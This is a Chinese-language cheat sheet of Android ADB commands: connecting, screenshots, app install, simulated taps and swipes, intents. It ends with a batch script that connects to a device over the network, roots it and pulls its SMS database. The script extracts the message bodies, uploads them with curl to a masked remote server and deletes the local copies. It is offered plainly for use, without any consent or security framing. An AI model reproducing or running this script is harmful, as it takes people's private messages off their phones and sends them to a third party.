//关闭ADB
adb kill-server
// 启动ADB
adb start-server
// 查看已连接 adb 的设备列表
adb devices
// 远程调试
adb connect 192.168.43.1
// 获取权限
adb root
// 获取设备的状态
adb get-state
// 打印 Android 的系统日志
adb logcat
// 手机屏幕保存到SDCard
adb shell /system/bin/screencap -p /sdcard/screenshot.png
// 屏幕图片保存到电脑
adb pull /sdcard/screenshot.png .
// 强制安装
adb install -r adbWireless_12.apk
// 卸载 APK
adb uninstall *.apk
// 重启手机
adb reboot
// 进入shell环境
adb shell
// 修改文件权限,要先进入 shell 环境
chmod 0755 [手机端文件路径]
// 重启手机进入 Recovery
adb reboot recovery
// 重启手机进入 Bootloader
adb reboot bootloader
// 将手机上的运行日志导出为 txt 文件
adb logcat > log.txt
// 将设备改为可读可写
adb remount
// 新增的录制命令执行命令后操作手机,ctrl + c 结束录制,录制结果保存至 sdcard
adb shell screenrecord sdcard/record.mp4
// 模拟输入文本信息(前提先将键盘设置为英文键盘)
adb input text HelloWorld
// 模拟物理按键操作
adb input keyevent KEYCODE_VOLUME_DOWN
// 模拟点击操作
adb input tap 500 500
// 模拟滑动操作
adb input swipe 200 500 400 500
// 模拟长按操作(x1 y1 x2 y2 毫米)
adb input swipe 200 200 200 200 1000
// 启动默认浏览器打开一个网页
adb shell am start -a android.intent.action.VIEW -d http://litry.cn Starting: Intent { act=android.intent.action.VIEW dat=http://litry.cn }
// 启动拨号器拨打 10086
adb shell am start -a android.intent.action.CALL -d tel:10086 Starting: Intent { act=android.intent.action.CALL dat=tel:xxxxx }
获取手机短信的bat脚本
@echo off title SMS ECHO 关闭ADB adb kill-server ECHO 启动ADB adb start-server ECHO 连接远程设备 adb connect 192.168.43.1 ECHO 获取权限 adb root ECHO 将设备改为可读可写 adb remount ECHO 导出mmssms.db adb pull /data/data/com.android.providers.telephony/databases/mmssms.db . ECHO 关闭ADB adb kill-server ECHO 导出短信 sqlite3 -csv mmssms.db "select _id,body from sms order by _id desc">sms.txt ECHO 删除本地mmssms.db ECHO del mmssms.db ECHO 上传至服务器 curl -F "upfile=@sms.txt" http://***/sms ECHO 删除短信 del sms.txt PAUSE